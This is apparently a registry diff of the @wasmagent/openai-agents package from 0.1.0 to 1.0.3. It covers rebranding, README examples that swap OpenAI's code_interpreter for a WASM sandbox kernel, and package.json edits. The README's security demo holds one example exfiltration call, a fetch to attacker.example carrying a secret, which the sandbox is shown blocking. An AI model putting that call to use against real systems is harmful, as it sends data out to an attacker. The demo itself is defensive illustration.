@wasmagent/openai-agents 0.1.0 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/LICENSE CHANGED
@@ -186,7 +186,7 @@
186
186
  same "printed page" as the copyright notice for easier
187
187
  identification within third-party archives.
188
188
 
189
- Copyright 2026 agentkit-js contributors
189
+ Copyright 2026 WasmAgent contributors
190
190
 
191
191
  Licensed under the Apache License, Version 2.0 (the "License");
192
192
  you may not use this file except in compliance with the License.
package/README.md CHANGED
@@ -21,10 +21,43 @@ isolation. It does **not** cover:
21
21
  - Workloads where 50 ms is too long for cold start and per-second container
22
22
  billing dominates the cost.
23
23
 
24
- The agentkit kernels live below the OS line — QuickJS-in-WASM, Pyodide-in-WASM,
24
+ The wasmagent kernels live below the OS line — QuickJS-in-WASM, Pyodide-in-WASM,
25
25
  or Wasmtime — so they run wherever JS runs. This package binds them to the
26
26
  Agents JS `Tool` shape.
27
27
 
28
+ ## Before / After
29
+
30
+ Replacing the OpenAI built-in `code_interpreter` tool with a wasmagent WASM kernel:
31
+
32
+ ```diff
33
+ const agent = new Agent({
34
+ name: "math-helper",
35
+ tools: [
36
+ - { type: "code_interpreter" }, // ← hosted, no edge support, per-session billing
37
+ + sandboxedJsAgentTool({ kernel: new QuickJSKernel() }),
38
+ + // ↑ in-process, edge-safe, $0/call, full CapabilityManifest
39
+ ],
40
+ });
41
+ ```
42
+
43
+ Full before/after:
44
+
45
+ ```diff
46
+ +import { sandboxedJsAgentTool } from "@wasmagent/openai-agents";
47
+ +import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
48
+
49
+ const agent = new Agent({
50
+ name: "math-helper",
51
+ tools: [
52
+ - { type: "code_interpreter" },
53
+ + sandboxedJsAgentTool({
54
+ + kernel: new QuickJSKernel(),
55
+ + capabilities: { allowedHosts: [] },
56
+ + }),
57
+ ],
58
+ });
59
+ ```
60
+
28
61
  ## Install
29
62
 
30
63
  ```bash
@@ -71,7 +104,7 @@ const agent = new Agent({ name: "ops", tools: [portalTool] });
71
104
 
72
105
  ## Kernel selection — pick the right tier
73
106
 
74
- `sandboxedJsAgentTool()` and `codeModeAgentTool()` accept any agentkit
107
+ `sandboxedJsAgentTool()` and `codeModeAgentTool()` accept any wasmagent
75
108
  kernel. The choice is independent of the SDK adapter — swap kernels in
76
109
  one line, the rest of your code is unchanged:
77
110
 
@@ -84,6 +117,33 @@ one line, the rest of your code is unchanged:
84
117
 
85
118
  Swap is a one-liner — `kernel: new QuickJSKernel()` becomes `kernel: new PyodideKernel()`. Same `CapabilityManifest`, same OpenAI Agents JS `Tool<T>` shape.
86
119
 
120
+ ## Security demo
121
+
122
+ `CapabilityManifest` enforces network and filesystem policy at the kernel
123
+ boundary — the model cannot escape it regardless of what code it generates:
124
+
125
+ ```ts
126
+ import { sandboxedJsAgentTool } from "@wasmagent/openai-agents";
127
+ import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
128
+
129
+ const kernel = new QuickJSKernel();
130
+ const tool = sandboxedJsAgentTool({
131
+ kernel,
132
+ capabilities: {
133
+ allowedHosts: [], // no outbound network
134
+ allowedPaths: [], // no filesystem access
135
+ cpuMs: 5_000,
136
+ memoryLimitBytes: 64 * 1024 * 1024,
137
+ },
138
+ });
139
+
140
+ // Model-generated code that tries to exfiltrate data:
141
+ // fetch("https://attacker.example/exfil?data=secret")
142
+ // → throws: network access denied — host "attacker.example" not in allowedHosts
143
+ ```
144
+
145
+ The same manifest applies to both `sandboxedJsAgentTool` and `codeModeAgentTool`.
146
+
87
147
  ## Capability manifest
88
148
 
89
149
  Same `CapabilityManifest` as the other adapters — see
package/dist/index.d.ts CHANGED
@@ -1,5 +1,5 @@
1
1
  /**
2
- * @wasmagent/openai-agents — agentkit kernels as OpenAI Agents JS tools.
2
+ * @wasmagent/openai-agents — WasmAgent kernels as OpenAI Agents JS tools.
3
3
  *
4
4
  * The OpenAI Agents JS SDK (`@openai/agents`) accepts a `Tool`-shaped
5
5
  * definition: `{ name, description, parameters (Zod), execute(input) }`.
package/dist/index.js CHANGED
@@ -1,5 +1,5 @@
1
1
  /**
2
- * @wasmagent/openai-agents — agentkit kernels as OpenAI Agents JS tools.
2
+ * @wasmagent/openai-agents — WasmAgent kernels as OpenAI Agents JS tools.
3
3
  *
4
4
  * The OpenAI Agents JS SDK (`@openai/agents`) accepts a `Tool`-shaped
5
5
  * definition: `{ name, description, parameters (Zod), execute(input) }`.
package/dist/memory.d.ts CHANGED
@@ -1,7 +1,7 @@
1
1
  /**
2
2
  * @wasmagent/openai-agents — Memory tool adapter (D3, 2026-06-13).
3
3
  *
4
- * Exposes agentkit's `createMemoryTool` (cross-session KV-backed memory)
4
+ * Exposes WasmAgent's `createMemoryTool` (cross-session KV-backed memory)
5
5
  * as an OpenAI Agents JS Tool.
6
6
  *
7
7
  * See `@wasmagent/aisdk/memory` for the rationale (D3 cross-framework
@@ -1 +1 @@
1
- {"version":3,"file":"memory.d.ts","sourceRoot":"","sources":["../src/memory.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AACH,OAAO,EAEL,KAAK,iBAAiB,EACvB,MAAM,iBAAiB,CAAC;AAGzB,OAAO,KAAK,EAAE,eAAe,EAAE,MAAM,YAAY,CAAC;AAElD,wBAAgB,eAAe,CAAC,IAAI,EAAE,iBAAiB,GAAG,eAAe,CAAC,OAAO,EAAE,MAAM,CAAC,CAUzF;AAED,OAAO,EAAE,mBAAmB,EAAE,MAAM,iBAAiB,CAAC;AACtD,YAAY,EAAE,iBAAiB,EAAE,CAAC"}
1
+ {"version":3,"file":"memory.d.ts","sourceRoot":"","sources":["../src/memory.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AACH,OAAO,EAA4C,KAAK,iBAAiB,EAAE,MAAM,iBAAiB,CAAC;AAGnG,OAAO,KAAK,EAAE,eAAe,EAAE,MAAM,YAAY,CAAC;AAElD,wBAAgB,eAAe,CAAC,IAAI,EAAE,iBAAiB,GAAG,eAAe,CAAC,OAAO,EAAE,MAAM,CAAC,CAUzF;AAED,OAAO,EAAE,mBAAmB,EAAE,MAAM,iBAAiB,CAAC;AACtD,YAAY,EAAE,iBAAiB,EAAE,CAAC"}
package/dist/memory.js CHANGED
@@ -1,13 +1,13 @@
1
1
  /**
2
2
  * @wasmagent/openai-agents — Memory tool adapter (D3, 2026-06-13).
3
3
  *
4
- * Exposes agentkit's `createMemoryTool` (cross-session KV-backed memory)
4
+ * Exposes WasmAgent's `createMemoryTool` (cross-session KV-backed memory)
5
5
  * as an OpenAI Agents JS Tool.
6
6
  *
7
7
  * See `@wasmagent/aisdk/memory` for the rationale (D3 cross-framework
8
8
  * memory product surface).
9
9
  */
10
- import { createMemoryTool as createMemoryToolCore, } from "@wasmagent/core";
10
+ import { createMemoryTool as createMemoryToolCore } from "@wasmagent/core";
11
11
  export function memoryAgentTool(opts) {
12
12
  const core = createMemoryToolCore(opts);
13
13
  return {
@@ -1 +1 @@
1
- {"version":3,"file":"memory.js","sourceRoot":"","sources":["../src/memory.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AACH,OAAO,EACL,gBAAgB,IAAI,oBAAoB,GAEzC,MAAM,iBAAiB,CAAC;AAKzB,MAAM,UAAU,eAAe,CAAC,IAAuB;IACrD,MAAM,IAAI,GAAG,oBAAoB,CAAC,IAAI,CAAC,CAAC;IACxC,OAAO;QACL,IAAI,EAAE,QAAQ;QACd,WAAW,EAAE,IAAI,CAAC,WAAW;QAC7B,UAAU,EAAE,IAAI,CAAC,WAAiC;QAClD,KAAK,CAAC,OAAO,CAAC,KAAK;YACjB,OAAO,IAAI,CAAC,OAAO,CAAC,KAAc,CAAC,CAAC;QACtC,CAAC;KACF,CAAC;AACJ,CAAC;AAED,OAAO,EAAE,mBAAmB,EAAE,MAAM,iBAAiB,CAAC"}
1
+ {"version":3,"file":"memory.js","sourceRoot":"","sources":["../src/memory.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AACH,OAAO,EAAE,gBAAgB,IAAI,oBAAoB,EAA0B,MAAM,iBAAiB,CAAC;AAKnG,MAAM,UAAU,eAAe,CAAC,IAAuB;IACrD,MAAM,IAAI,GAAG,oBAAoB,CAAC,IAAI,CAAC,CAAC;IACxC,OAAO;QACL,IAAI,EAAE,QAAQ;QACd,WAAW,EAAE,IAAI,CAAC,WAAW;QAC7B,UAAU,EAAE,IAAI,CAAC,WAAiC;QAClD,KAAK,CAAC,OAAO,CAAC,KAAK;YACjB,OAAO,IAAI,CAAC,OAAO,CAAC,KAAc,CAAC,CAAC;QACtC,CAAC;KACF,CAAC;AACJ,CAAC;AAED,OAAO,EAAE,mBAAmB,EAAE,MAAM,iBAAiB,CAAC"}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@wasmagent/openai-agents",
3
- "version": "0.1.0",
3
+ "version": "1.0.3",
4
4
  "description": "Drop wasmagent sandbox kernels into the OpenAI Agents JS SDK as a Tool — edge-safe code execution with one capability manifest, no E2B sandbox needed",
5
5
  "type": "module",
6
6
  "main": "./dist/index.js",
@@ -14,11 +14,11 @@
14
14
  "scripts": {
15
15
  "build": "tsc -p tsconfig.json",
16
16
  "typecheck": "tsc -p tsconfig.json --noEmit",
17
- "test": "vitest run",
17
+ "test": "bun test",
18
18
  "clean": "rm -rf dist .turbo"
19
19
  },
20
20
  "dependencies": {
21
- "@wasmagent/core": "workspace:*"
21
+ "@wasmagent/core": "^1.0.3"
22
22
  },
23
23
  "peerDependencies": {
24
24
  "@openai/agents": ">=0.1.0",
@@ -35,7 +35,6 @@
35
35
  "devDependencies": {
36
36
  "@types/node": "^22.0.0",
37
37
  "typescript": "^5.7.0",
38
- "vitest": "^2.1.0",
39
38
  "zod": "^3.22.0"
40
39
  },
41
40
  "engines": {
@@ -50,6 +49,10 @@
50
49
  "tool",
51
50
  "wasmagent"
52
51
  ],
52
+ "wasmagent": {
53
+ "tier": "tier-1",
54
+ "stability": "stable"
55
+ },
53
56
  "license": "Apache-2.0",
54
57
  "repository": {
55
58
  "type": "git",
@@ -61,8 +64,7 @@
61
64
  "url": "https://github.com/WasmAgent/wasmagent-js/issues"
62
65
  },
63
66
  "publishConfig": {
64
- "access": "public",
65
- "provenance": false
67
+ "access": "public"
66
68
  },
67
69
  "files": [
68
70
  "dist",